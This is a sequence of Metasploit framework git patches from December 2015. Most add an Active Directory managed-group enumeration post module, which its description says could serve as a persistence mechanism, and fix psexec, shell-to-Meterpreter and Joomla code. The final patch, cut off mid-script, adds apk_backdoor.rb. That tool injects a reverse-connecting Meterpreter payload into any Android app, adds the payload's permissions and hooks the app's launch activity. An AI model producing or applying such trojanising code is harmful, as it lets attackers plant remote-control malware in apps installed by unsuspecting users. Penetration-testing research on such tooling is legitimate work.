reg_key = session.sys.registry.open_key(root_key, base_key, KEY_READ) - return nil if not reg_key + return nil unless reg_key reg_value = reg_key.query_value(value) - return nil if not reg_value + return nil unless reg_value rescue vprint_error "Error reading registry key #{key} and value #{value}" end @@ -781,7 +779,7 @@ class Metasploit3 < Msf::Post db = SQLite3::Database.new(lp_data['lp_db_loot']) result = db.execute( "SELECT data FROM LastPassData " \ - "WHERE username_hash = '"+OpenSSL::Digest::SHA256.hexdigest(username)+"' AND type = 'key'" + "WHERE username_hash = '" + OpenSSL::Digest::SHA256.hexdigest(username) + "' AND type = 'key'" ) encrypted_vault_key = result[0][0] end From ae09549057233764c8160fc8a13157a8c5be044c Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Sun, 20 Dec 2015 20:17:06 +0000 Subject: [PATCH 1653/2172] New module, strating with managedby_groups --- .../gather/enum_ad_managedby_groups.rb | 97 +++++++++++++++++++ 1 file changed, 97 insertions(+) create mode 100644 modules/post/windows/gather/enum_ad_managedby_groups.rb diff --git a/modules/post/windows/gather/enum_ad_managedby_groups.rb b/modules/post/windows/gather/enum_ad_managedby_groups.rb new file mode 100644 index 0000000000..ade732c27a --- /dev/null +++ b/modules/post/windows/gather/enum_ad_managedby_groups.rb @@ -0,0 +1,97 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'rex' +require 'msf/core' + +class Metasploit3 < Msf::Post + include Msf::Auxiliary::Report + include Msf::Post::Windows::LDAP +# include Msf::Post::Windows::Accounts + + USER_FIELDS = ['name', + 'distinguishedname', + 'description'].freeze + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'Windows Gather Active Directory Groups', + 'Description' => %{ + This module will enumerate AD groups on the specified domain. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Stuart Morgan ' + ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ] + )) + + register_options([ + OptString.new('ADDITIONAL_FIELDS', [false, 'Additional fields to retrieve, comma separated', nil]), + ], self.class) + end + + def run + @user_fields = USER_FIELDS.dup + + if datastore['ADDITIONAL_FIELDS'] + additional_fields = datastore['ADDITIONAL_FIELDS'].gsub(/\s+/,"").split(',') + @user_fields.push(*additional_fields) + end + + max_search = datastore['MAX_SEARCH'] + + begin + q = query('(objectClass=group)', max_search, @user_fields) + rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError => e + # Can't bind or in a network w/ limited accounts + print_error(e.message) + return + end + + if q.nil? || q[:results].empty? + print_status('No results returned.') + else + results_table = parse_results(q[:results]) + print_line results_table.to_s + end + end + + # Takes the results of LDAP query, parses them into a table + # and records and usernames as {Metasploit::Credential::Core}s in + # the database. + # + # @param [Array>] the LDAP query results to parse + # @return [Rex::Ui::Text::Table] the table containing all the result data + def parse_results(results) + domain = datastore['DOMAIN'] || get_domain + domain_ip = client.net.resolve.resolve_host(domain)[:ip] + # Results table holds raw string data + results_table = Rex::Ui::Text::Table.new( + 'Header' => "Domain Groups", + 'Indent' => 1, + 'SortIndex' => -1, + 'Columns' => @user_fields + ) + + results.each do |result| + row = [] + + result.each do |field| + if field.nil? + row << "" + else + row << field[:value] + end + end + + results_table << row + end + results_table + end + +end From 89728fd8fe9949369ff8000f9bd1bb2beb3d74ed Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Sun, 20 Dec 2015 21:16:17 +0000 Subject: [PATCH 1654/2172] Working version --- .../gather/enum_ad_managedby_groups.rb | 50 +++++++++++++------ 1 file changed, 35 insertions(+), 15 deletions(-) diff --git a/modules/post/windows/gather/enum_ad_managedby_groups.rb b/modules/post/windows/gather/enum_ad_managedby_groups.rb index ade732c27a..8f30acee1f 100644 --- a/modules/post/windows/gather/enum_ad_managedby_groups.rb +++ b/modules/post/windows/gather/enum_ad_managedby_groups.rb @@ -9,18 +9,23 @@ require 'msf/core' class Metasploit3 < Msf::Post include Msf::Auxiliary::Report include Msf::Post::Windows::LDAP -# include Msf::Post::Windows::Accounts - USER_FIELDS = ['name', + USER_FIELDS = ['cn', 'distinguishedname', + 'managedBy', 'description'].freeze def initialize(info = {}) super(update_info( info, - 'Name' => 'Windows Gather Active Directory Groups', + 'Name' => 'Windows Gather Active Directory Managed Groups', 'Description' => %{ - This module will enumerate AD groups on the specified domain. + This module will enumerate AD groups on the specified domain which are managed by users. + It will also identify whether those groups have the 'Manager can update membership list' + option set; if so, it would allow that member to update the contents of that group. This + could either be used as a persistence mechanism (for example, set your user as the 'Domain + Admins' group manager) or could be used to detect privilege escalation opportunities + without having domain admin privileges. }, 'License' => MSF_LICENSE, 'Author' => [ @@ -31,7 +36,9 @@ class Metasploit3 < Msf::Post )) register_options([ - OptString.new('ADDITIONAL_FIELDS', [false, 'Additional fields to retrieve, comma separated', nil]), + OptString.new('ADDITIONAL_FIELDS', [false, 'Additional group fields to retrieve, comma separated.', nil]), + OptBool.new('RESOLVE_MANAGERS', [true, 'Query LDAP to get the account name of group managers.', true]), + OptBool.new('SECURITY_GROUPS_ONLY', [true, 'Only include security groups.', true]), ], self.class) end @@ -46,7 +53,11 @@ class Metasploit3 < Msf::Post max_search = datastore['MAX_SEARCH'] begin - q = query('(objectClass=group)', max_search, @user_fields) + qs = '(&(objectClass=group)(managedBy=*))' + if datastore['SECURITY_GROUPS_ONLY'] + qs = '(&(objectClass=group)(managedBy=*)(groupType:1.2.840.113556.1.4.803:=2147483648))' + end + q = query('(&(objectClass=group)(managedBy=*))', max_search, @user_fields) rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError => e # Can't bind or in a network w/ limited accounts print_error(e.message) @@ -56,23 +67,19 @@ class Metasploit3 < Msf::Post if q.nil? || q[:results].empty? print_status('No results returned.') else + if datastore['RESOLVE_MANAGERS'] + @user_fields << 'Manager Account Name' + end results_table = parse_results(q[:results]) print_line results_table.to_s end end # Takes the results of LDAP query, parses them into a table - # and records and usernames as {Metasploit::Credential::Core}s in - # the database. - # - # @param [Array>] the LDAP query results to parse - # @return [Rex::Ui::Text::Table] the table containing all the result data def parse_results(results) - domain = datastore['DOMAIN'] || get_domain - domain_ip = client.net.resolve.resolve_host(domain)[:ip] - # Results table holds raw string data + results_table = Rex::Ui::Text::Table.new( - 'Header' => "Domain Groups", + 'Header' => "Groups with Managers", 'Indent' => 1, 'SortIndex' => -1, 'Columns' => @user_fields @@ -88,6 +95,19 @@ class Metasploit3 < Msf::Post row << field[:value] end end + if datastore['RESOLVE_MANAGERS'] + begin + managedBy_cn = result[2][:value].split(',')[0] + m = query("(&(objectClass=user)(objectCategory=person)(#{managedBy_cn}))", 1, ['sAMAccountName']) + if !m.nil? && !m[:results].empty? + row << m[:results][0][0][:value] + else + row << "" + end + rescue + row << "" + end + end results_table << row end From c0a93433af637545201d0ec1247d23bead98ecc4 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Sun, 20 Dec 2015 21:16:42 +0000 Subject: [PATCH 1655/2172] msftidy --- modules/post/windows/gather/enum_ad_managedby_groups.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/post/windows/gather/enum_ad_managedby_groups.rb b/modules/post/windows/gather/enum_ad_managedby_groups.rb index 8f30acee1f..86034d7395 100644 --- a/modules/post/windows/gather/enum_ad_managedby_groups.rb +++ b/modules/post/windows/gather/enum_ad_managedby_groups.rb @@ -22,7 +22,7 @@ class Metasploit3 < Msf::Post 'Description' => %{ This module will enumerate AD groups on the specified domain which are managed by users. It will also identify whether those groups have the 'Manager can update membership list' - option set; if so, it would allow that member to update the contents of that group. This + option set; if so, it would allow that member to update the contents of that group. This could either be used as a persistence mechanism (for example, set your user as the 'Domain Admins' group manager) or could be used to detect privilege escalation opportunities without having domain admin privileges. @@ -57,7 +57,7 @@ class Metasploit3 < Msf::Post if datastore['SECURITY_GROUPS_ONLY'] qs = '(&(objectClass=group)(managedBy=*)(groupType:1.2.840.113556.1.4.803:=2147483648))' end - q = query('(&(objectClass=group)(managedBy=*))', max_search, @user_fields) + q = query('(&(objectClass=group)(managedBy=*))', max_search, @user_fields) rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError => e # Can't bind or in a network w/ limited accounts print_error(e.message) From 07caaf352b71917b42d5f02fd17684500b642e1d Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Sun, 20 Dec 2015 21:18:21 +0000 Subject: [PATCH 1656/2172] made comment match purpose --- modules/post/windows/gather/enum_ad_managedby_groups.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/post/windows/gather/enum_ad_managedby_groups.rb b/modules/post/windows/gather/enum_ad_managedby_groups.rb index 86034d7395..474ead866a 100644 --- a/modules/post/windows/gather/enum_ad_managedby_groups.rb +++ b/modules/post/windows/gather/enum_ad_managedby_groups.rb @@ -20,8 +20,8 @@ class Metasploit3 < Msf::Post info, 'Name' => 'Windows Gather Active Directory Managed Groups', 'Description' => %{ - This module will enumerate AD groups on the specified domain which are managed by users. - It will also identify whether those groups have the 'Manager can update membership list' + This module will enumerate AD groups on the specified domain which are specifically managed. + It cannot at the moment identify whether the 'Manager can update membership list' option option set; if so, it would allow that member to update the contents of that group. This could either be used as a persistence mechanism (for example, set your user as the 'Domain Admins' group manager) or could be used to detect privilege escalation opportunities From c394caad27b45f6ebb99e1ce87f48784d656236b Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Sun, 20 Dec 2015 21:19:24 +0000 Subject: [PATCH 1657/2172] actually made the securitygroups only option do something --- .../gather/enum_ad_managedby_groups.rb | 34 ++++++++----------- 1 file changed, 15 insertions(+), 19 deletions(-) diff --git a/modules/post/windows/gather/enum_ad_managedby_groups.rb b/modules/post/windows/gather/enum_ad_managedby_groups.rb index 474ead866a..920d898f25 100644 --- a/modules/post/windows/gather/enum_ad_managedby_groups.rb +++ b/modules/post/windows/gather/enum_ad_managedby_groups.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Post register_options([ OptString.new('ADDITIONAL_FIELDS', [false, 'Additional group fields to retrieve, comma separated.', nil]), OptBool.new('RESOLVE_MANAGERS', [true, 'Query LDAP to get the account name of group managers.', true]), - OptBool.new('SECURITY_GROUPS_ONLY', [true, 'Only include security groups.', true]), + OptBool.new('SECURITY_GROUPS_ONLY', [true, 'Only include security groups.', true]) ], self.class) end @@ -46,7 +46,7 @@ class Metasploit3 < Msf::Post @user_fields = USER_FIELDS.dup if datastore['ADDITIONAL_FIELDS'] - additional_fields = datastore['ADDITIONAL_FIELDS'].gsub(/\s+/,"").split(',') + additional_fields = datastore['ADDITIONAL_FIELDS'].gsub(/\s+/, "").split(',') @user_fields.push(*additional_fields) end @@ -57,7 +57,7 @@ class Metasploit3 < Msf::Post if datastore['SECURITY_GROUPS_ONLY'] qs = '(&(objectClass=group)(managedBy=*)(groupType:1.2.840.113556.1.4.803:=2147483648))' end - q = query('(&(objectClass=group)(managedBy=*))', max_search, @user_fields) + q = query(qs, max_search, @user_fields) rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError => e # Can't bind or in a network w/ limited accounts print_error(e.message) @@ -67,9 +67,7 @@ class Metasploit3 < Msf::Post if q.nil? || q[:results].empty? print_status('No results returned.') else - if datastore['RESOLVE_MANAGERS'] - @user_fields << 'Manager Account Name' - end + @user_fields << 'Manager Account Name' if datastore['RESOLVE_MANAGERS'] results_table = parse_results(q[:results]) print_line results_table.to_s end @@ -77,7 +75,6 @@ class Metasploit3 < Msf::Post # Takes the results of LDAP query, parses them into a table def parse_results(results) - results_table = Rex::Ui::Text::Table.new( 'Header' => "Groups with Managers", 'Indent' => 1, @@ -95,23 +92,22 @@ class Metasploit3 < Msf::Post row << field[:value] end end - if datastore['RESOLVE_MANAGERS'] - begin - managedBy_cn = result[2][:value].split(',')[0] - m = query("(&(objectClass=user)(objectCategory=person)(#{managedBy_cn}))", 1, ['sAMAccountName']) - if !m.nil? && !m[:results].empty? - row << m[:results][0][0][:value] - else - row << "" - end - rescue + if datastore['RESOLVE_MANAGERS'] + begin + managedBy_cn = result[2][:value].split(',')[0] + m = query("(&(objectClass=user)(objectCategory=person)(#{managedBy_cn}))", 1, ['sAMAccountName']) + if !m.nil? && !m[:results].empty? + row << m[:results][0][0][:value] + else row << "" end - end + rescue + row << "" + end + end results_table << row end results_table end - end From 9493b333df6c65da6093f463501216d2bf2f6c76 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Sun, 20 Dec 2015 21:22:03 +0000 Subject: [PATCH 1658/2172] rubocop --- modules/post/windows/gather/enum_ad_managedby_groups.rb | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/modules/post/windows/gather/enum_ad_managedby_groups.rb b/modules/post/windows/gather/enum_ad_managedby_groups.rb index 920d898f25..e1a14d876d 100644 --- a/modules/post/windows/gather/enum_ad_managedby_groups.rb +++ b/modules/post/windows/gather/enum_ad_managedby_groups.rb @@ -94,8 +94,8 @@ class Metasploit3 < Msf::Post end if datastore['RESOLVE_MANAGERS'] begin - managedBy_cn = result[2][:value].split(',')[0] - m = query("(&(objectClass=user)(objectCategory=person)(#{managedBy_cn}))", 1, ['sAMAccountName']) + managedby_cn = result[2][:value].split(',')[0] + m = query("(&(objectClass=user)(objectCategory=person)(#{managedby_cn}))", 1, ['sAMAccountName']) if !m.nil? && !m[:results].empty? row << m[:results][0][0][:value] else @@ -104,8 +104,7 @@ class Metasploit3 < Msf::Post rescue row << "" end - end - + end results_table << row end results_table From b0fca769d75c51ef18c76603a52f946428533b07 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Mon, 21 Dec 2015 10:39:30 +0000 Subject: [PATCH 1659/2172] capitalisation --- modules/post/windows/gather/enum_ad_managedby_groups.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/post/windows/gather/enum_ad_managedby_groups.rb b/modules/post/windows/gather/enum_ad_managedby_groups.rb index e1a14d876d..e10615241f 100644 --- a/modules/post/windows/gather/enum_ad_managedby_groups.rb +++ b/modules/post/windows/gather/enum_ad_managedby_groups.rb @@ -37,8 +37,8 @@ class Metasploit3 < Msf::Post register_options([ OptString.new('ADDITIONAL_FIELDS', [false, 'Additional group fields to retrieve, comma separated.', nil]), - OptBool.new('RESOLVE_MANAGERS', [true, 'Query LDAP to get the account name of group managers.', true]), - OptBool.new('SECURITY_GROUPS_ONLY', [true, 'Only include security groups.', true]) + OptBool.new('RESOLVE_MANAGERS', [true, 'Query LDAP to get the account name of group managers.', TRUE]), + OptBool.new('SECURITY_GROUPS_ONLY', [true, 'Only include security groups.', TRUE]) ], self.class) end From e8c8c54cb02c7723714a10e9774d502f1b63d074 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Mon, 21 Dec 2015 11:44:37 +0000 Subject: [PATCH 1660/2172] Use a regex with a negative lookbehind to cope with CNs that contain commas --- modules/post/windows/gather/enum_ad_managedby_groups.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/gather/enum_ad_managedby_groups.rb b/modules/post/windows/gather/enum_ad_managedby_groups.rb index e10615241f..fdc5ea742a 100644 --- a/modules/post/windows/gather/enum_ad_managedby_groups.rb +++ b/modules/post/windows/gather/enum_ad_managedby_groups.rb @@ -94,7 +94,7 @@ class Metasploit3 < Msf::Post end if datastore['RESOLVE_MANAGERS'] begin - managedby_cn = result[2][:value].split(',')[0] + managedby_cn = result[2][:value].split(/,(? Date: Mon, 21 Dec 2015 10:52:03 -0600 Subject: [PATCH 1661/2172] Fix broken logic Forgot to set retval when I removed the ensure. --- modules/exploits/windows/smb/psexec.rb | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/smb/psexec.rb b/modules/exploits/windows/smb/psexec.rb index 2965087d8e..a90d12393e 100644 --- a/modules/exploits/windows/smb/psexec.rb +++ b/modules/exploits/windows/smb/psexec.rb @@ -152,13 +152,15 @@ class Metasploit3 < Msf::Exploit::Remote if smb_file_exist?(path) vprint_status('PowerShell found') - true + psh = true else vprint_status('PowerShell not found') - false + psh = false end simple.disconnect(share) + + psh end def powershell From f9d74143c3c39ea8835057db1e71bd3f088dcde3 Mon Sep 17 00:00:00 2001 From: Tim Date: Tue, 22 Dec 2015 03:25:34 +0000 Subject: [PATCH 1662/2172] fix typo --- modules/post/multi/manage/shell_to_meterpreter.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/multi/manage/shell_to_meterpreter.rb b/modules/post/multi/manage/shell_to_meterpreter.rb index a538f43d90..b47e779fba 100644 --- a/modules/post/multi/manage/shell_to_meterpreter.rb +++ b/modules/post/multi/manage/shell_to_meterpreter.rb @@ -112,7 +112,7 @@ class Metasploit3 < Msf::Post vprint_status("Upgrade payload: #{payload_name}") if platform.blank? - print_error("Shells on the the target platform, #{session.platform}, cannot be upgraded to Meterpreter at this time.") + print_error("Shells on the target platform, #{session.platform}, cannot be upgraded to Meterpreter at this time.") return nil end From be9197fc974ab0b12b48b76ca6b62c5240ec0fdd Mon Sep 17 00:00:00 2001 From: Tim Date: Tue, 22 Dec 2015 03:26:31 +0000 Subject: [PATCH 1663/2172] quick fix for issues #6359 --- modules/post/multi/manage/shell_to_meterpreter.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/multi/manage/shell_to_meterpreter.rb b/modules/post/multi/manage/shell_to_meterpreter.rb index b47e779fba..2c0fb99649 100644 --- a/modules/post/multi/manage/shell_to_meterpreter.rb +++ b/modules/post/multi/manage/shell_to_meterpreter.rb @@ -93,7 +93,7 @@ class Metasploit3 < Msf::Post vprint_status("Platform: Solaris") else # Find the best fit, be specific with uname to avoid matching hostname or something else - target_info = cmd_exec('uname -mo') + target_info = cmd_exec('uname -ms') if target_info =~ /linux/i && target_info =~ /86/ # Handle linux shells that were identified as 'unix' platform = 'linux' From 2cc54a7a4333f547f1f747f090f1a95bb36209b7 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 21 Dec 2015 22:59:13 -0600 Subject: [PATCH 1664/2172] Make joomla.xml go first Reason is here: https://github.com/rapid7/metasploit-framework/pull/6373#issuecomment-166446092 --- lib/msf/core/exploit/http/joomla/version.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/http/joomla/version.rb b/lib/msf/core/exploit/http/joomla/version.rb index b2d9f22d95..32c1ca94d1 100644 --- a/lib/msf/core/exploit/http/joomla/version.rb +++ b/lib/msf/core/exploit/http/joomla/version.rb @@ -8,8 +8,8 @@ module Msf::Exploit::Remote::HTTP::Joomla::Version # @return [NilClass] No Joomla version found. def joomla_version files = [ - 'language/en-GB/en-GB.xml', 'administrator/manifests/files/joomla.xml', + 'language/en-GB/en-GB.xml', 'templates/system/css/system.css', 'media/system/js/mootools-more.js', 'language/en-GB/en-GB.ini', From fa390358a2f6ba0ba9573d197d868702706c38ff Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 21 Dec 2015 23:09:54 -0600 Subject: [PATCH 1665/2172] Add linux/x86/meterpreter/reverse_tcp to the preference list linux/x86/meterpreter/reverse_tcp was not added to the preference list, because at the time it was reliable. For example: it would crash while running a post module. This is not the case anymore, so it looks like linux/x86/meterpreter/reverse_tcp is ready to serve. --- lib/msf/ui/console/command_dispatcher/exploit.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/msf/ui/console/command_dispatcher/exploit.rb b/lib/msf/ui/console/command_dispatcher/exploit.rb index d3e963ac05..ea7be2c617 100644 --- a/lib/msf/ui/console/command_dispatcher/exploit.rb +++ b/lib/msf/ui/console/command_dispatcher/exploit.rb @@ -225,6 +225,7 @@ class Exploit # A list of preferred payloads in the best-first order pref = [ 'windows/meterpreter/reverse_tcp', + 'linux/x86/meterpreter/reverse_tcp', 'java/meterpreter/reverse_tcp', 'php/meterpreter/reverse_tcp', 'php/meterpreter_reverse_tcp', From 45b9230efb461cf9a5735d308de9f50bbcd9dbf3 Mon Sep 17 00:00:00 2001 From: Rory McNamara Date: Tue, 22 Dec 2015 11:32:31 +0000 Subject: [PATCH 1666/2172] Redirect python stderr to stdout, darwin python platform --- modules/post/multi/manage/shell_to_meterpreter.rb | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/modules/post/multi/manage/shell_to_meterpreter.rb b/modules/post/multi/manage/shell_to_meterpreter.rb index 2c0fb99649..bcc5a44ed6 100644 --- a/modules/post/multi/manage/shell_to_meterpreter.rb +++ b/modules/post/multi/manage/shell_to_meterpreter.rb @@ -101,7 +101,11 @@ class Metasploit3 < Msf::Post lplat = [Msf::Platform::Linux] larch = [ARCH_X86] vprint_status("Platform: Linux") - elsif cmd_exec('python -V') =~ /Python (2|3)\.(\d)/ + elsif target_info =~ /darwin/i + platform = 'python' + payload_name = 'python/meterpreter/reverse_tcp' + vprint_status("Platform: OS X") + elsif cmd_exec('python -V 2>&1') =~ /Python (2|3)\.(\d)/ # Generic fallback for OSX, Solaris, Linux/ARM platform = 'python' payload_name = 'python/meterpreter/reverse_tcp' From 1782e988d44414b4a62d22b27d938ef60d1dbc82 Mon Sep 17 00:00:00 2001 From: Lluis Mora Date: Tue, 22 Dec 2015 13:42:49 +0100 Subject: [PATCH 1667/2172] Fix mispelling in nessus plugin help --- plugins/nessus.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/plugins/nessus.rb b/plugins/nessus.rb index 2540281d09..99195b7cf0 100644 --- a/plugins/nessus.rb +++ b/plugins/nessus.rb @@ -120,7 +120,7 @@ module Msf tbl << [ "-----------------", "-----------------"] tbl << [ "nessus_scan_list", "List of all current Nessus scans" ] tbl << [ "nessus_scan_new", "Create a new Nessus Scan" ] - tbl << [ "nessus_scan_lauch", "Launch a newly created scan. New scans need to be manually launched through this command" ] + tbl << [ "nessus_scan_launch", "Launch a newly created scan. New scans need to be manually launched through this command" ] tbl << [ "nessus_scan_pause", "Pause a running Nessus scan" ] tbl << [ "nessus_scan_pause_all", "Pause all running Nessus scans" ] tbl << [ "nessus_scan_stop", "Stop a running or paused Nessus scan" ] From 314e902098fc045ec0a6d82e6af27af2155691ca Mon Sep 17 00:00:00 2001 From: JT Date: Tue, 22 Dec 2015 22:44:59 +0800 Subject: [PATCH 1668/2172] Add original exploit discoverer and exploit-db ref Adding Gary @ Sec-1 ltd for the original exploit and two exploit-db references. Marc-Alexandre Montpas modified Gary's exploit that uses "User-Agent" header. Marc-Alexandre Montpas used "X-FORWARDED-FOR" header to avoid default logged to access.log --- modules/exploits/multi/http/joomla_http_header_rce.rb | 3 +++ 1 file changed, 3 insertions(+) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index 9e8878a1ac..c004bc3493 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -24,6 +24,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ + 'Gary @ Sec-1 ltd', # initial discovery 'Marc-Alexandre Montpas', # discovery 'Christian Mehlmauer' # metasploit module ], @@ -31,6 +32,8 @@ class Metasploit3 < Msf::Exploit::Remote 'References' => [ ['CVE', '2015-8562'], + ['EDB', '38977'], # original PoC from Gary + ['EDB', '39033'], # Exploit modified to use "X-Forwarded-For" header instead of "User-Agent" ['URL', 'https://blog.sucuri.net/2015/12/joomla-remote-code-execution-the-details.html'], ['URL', 'https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html'], ['URL', 'https://developer.joomla.org/security-centre/630-20151214-core-remote-code-execution-vulnerability.html'], From e4e8930ccb1a605e3c53404ff47605a35721e1b4 Mon Sep 17 00:00:00 2001 From: Jack64 Date: Thu, 3 Sep 2015 19:30:25 +0100 Subject: [PATCH 1669/2172] APK Backdooring script Originally @ https://github.com/rapid7/metasploit-framework/pull/5611/ PR'ed again because I accidentally deleted my fork and couldn't make changes. --- tools/apk_backdoor.rb | 232 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 232 insertions(+) create mode 100644 tools/apk_backdoor.rb diff --git a/tools/apk_backdoor.rb b/tools/apk_backdoor.rb new file mode 100644 index 0000000000..cb2ac12298 --- /dev/null +++ b/tools/apk_backdoor.rb @@ -0,0 +1,232 @@ +#!/usr/bin/env ruby +# +# This script is a POC for injecting metasploit payloads on +# arbitrary APKs. +# Authored by timwr, Jack64 +# + + +require 'nokogiri' +require 'fileutils' +require 'optparse' + +# Find the activity that is opened when you click the app icon +def find_launcher_activity(amanifest) + package = amanifest.xpath("//manifest").first['package'] + activities = amanifest.xpath("//activity|//activity-alias") + for activity in activities + activityname = activity.attribute("name") + category = activity.search('category') + unless category + next + end + for cat in category + categoryname = cat.attribute('name') + if (categoryname.to_s == 'android.intent.category.LAUNCHER' || categoryname.to_s == 'android.intent.action.MAIN') + activityname = activityname.to_s + unless activityname.start_with?(package) + activityname = package + activityname + end + return activityname + end + end + end +end + +# If XML parsing of the manifest fails, recursively search +# the smali code for the onCreate() hook and let the user +# pick the injection point +def scrape_files_for_launcher_activity() + smali_files||=[] + Dir.glob('original/smali*/**/*.smali') do |file| + checkFile=File.read(file) + if (checkFile.include?";->onCreate(Landroid/os/Bundle;)V") + smali_files << file + smalifile = file + activitysmali = checkFile + end + end + i=0 + print "[*] Please choose from one of the following:\n" + smali_files.each{|s_file| + print "[+] Hook point ",i,": ",s_file,"\n" + i+=1 + } + hook=-1 + while (hook < 0 || hook>i) + print "\nHook: " + hook = STDIN.gets.chomp.to_i + end + i=0 + smalifile="" + activitysmali="" + smali_files.each{|s_file| + if (i==hook) + checkFile=File.read(s_file) + smalifile=s_file + activitysmali = checkFile + break + end + i+=1 + } + return [smalifile,activitysmali] +end + +def fix_manifest() + payload_permissions=[] + + #Load payload's permissions + File.open("payload/AndroidManifest.xml","r"){|file| + k=File.read(file) + payload_manifest=Nokogiri::XML(k) + permissions = payload_manifest.xpath("//manifest/uses-permission") + for permission in permissions + name=permission.attribute("name") + payload_permissions << name.to_s + end + # print "#{k}" + } + original_permissions=[] + apk_mani='' + + #Load original apk's permissions + File.open("original/AndroidManifest.xml","r"){|file2| + k=File.read(file2) + apk_mani=k + original_manifest=Nokogiri::XML(k) + permissions = original_manifest.xpath("//manifest/uses-permission") + for permission in permissions + name=permission.attribute("name") + original_permissions << name.to_s + end + # print "#{k}" + } + #Get permissions that are not in original APK + add_permissions=[] + for permission in payload_permissions + if !(original_permissions.include? permission) + print "[*] Adding #{permission}\n" + add_permissions << permission + end + end + inject=0 + new_mani="" + #Inject permissions in original APK's manifest + for line in apk_mani.split("\n") + if (line.include? "uses-permission" and inject==0) + for permission in add_permissions + new_mani << ''+"\n" + end + new_mani << line+"\n" + inject=1 + else + new_mani << line+"\n" + end + end + File.open("original/AndroidManifest.xml", "w") {|file| file.puts new_mani } +end + +apkfile = ARGV[0] +unless(apkfile && File.readable?(apkfile)) + puts "Usage: #{$0} [target.apk] [msfvenom options]\n" + puts "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443" + exit(1) +end + +jarsigner = `which jarsigner` +unless(jarsigner && jarsigner.length > 0) + puts "[-] Jarsigner not found. If it's not in your PATH, please add it.\n" + exit(1) +end + +apktool = `which apktool` +unless(apktool && apktool.length > 0) + puts "[-] APKTool not found. If it's not in your PATH, please add it.\n" + exit(1) +end + +apk_v=`apktool` +unless(apk_v.split()[1].include?("v2.")) + puts "[-] Apktool version #{apk_v} not supported, please download the latest 2.xx version from git.\n" + exit(1) +end + +begin + msfvenom_opts = ARGV[1,ARGV.length] + opts="" + msfvenom_opts.each{|x| + opts+=x + opts+=" " + } +rescue + puts "Usage: #{$0} [target.apk] [msfvenom options]\n" + puts "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443" + puts "[-] Error parsing msfvenom options. Exiting.\n" + exit(1) +end + + + +print "[*] Generating msfvenom payload..\n" +res=`msfvenom -f raw #{opts} -o payload.apk 2>&1` +if res.downcase.include?("invalid" || "error") + puts res + exit(1) +end + +print "[*] Signing payload..\n" +`jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA payload.apk androiddebugkey` + +`rm -rf original` +`rm -rf payload` + +`cp #{apkfile} original.apk` + +print "[*] Decompiling orignal APK..\n" +`apktool d $(pwd)/original.apk -o $(pwd)/original` +print "[*] Decompiling payload APK..\n" +`apktool d $(pwd)/payload.apk -o $(pwd)/payload` + +f = File.open("original/AndroidManifest.xml") +amanifest = Nokogiri::XML(f) +f.close + +print "[*] Locating onCreate() hook..\n" + + +launcheractivity = find_launcher_activity(amanifest) +smalifile = 'original/smali/' + launcheractivity.gsub(/\./, "/") + '.smali' +begin + activitysmali = File.read(smalifile) +rescue Errno::ENOENT + print "[!] Unable to find correct hook automatically\n" + begin + results=scrape_files_for_launcher_activity() + smalifile=results[0] + activitysmali=results[1] + rescue + puts "[-] Error finding launcher activity. Exiting" + exit(1) + end +end + +print "[*] Copying payload files..\n" +FileUtils.mkdir_p('original/smali/com/metasploit/stage/') +FileUtils.cp Dir.glob('payload/smali/com/metasploit/stage/Payload*.smali'), 'original/smali/com/metasploit/stage/' +activitycreate = ';->onCreate(Landroid/os/Bundle;)V' +payloadhook = activitycreate + "\n invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V" +hookedsmali = activitysmali.gsub(activitycreate, payloadhook) +print "[*] Loading ",smalifile," and injecting payload..\n" +File.open(smalifile, "w") {|file| file.puts hookedsmali } +injected_apk=apkfile.split(".")[0] 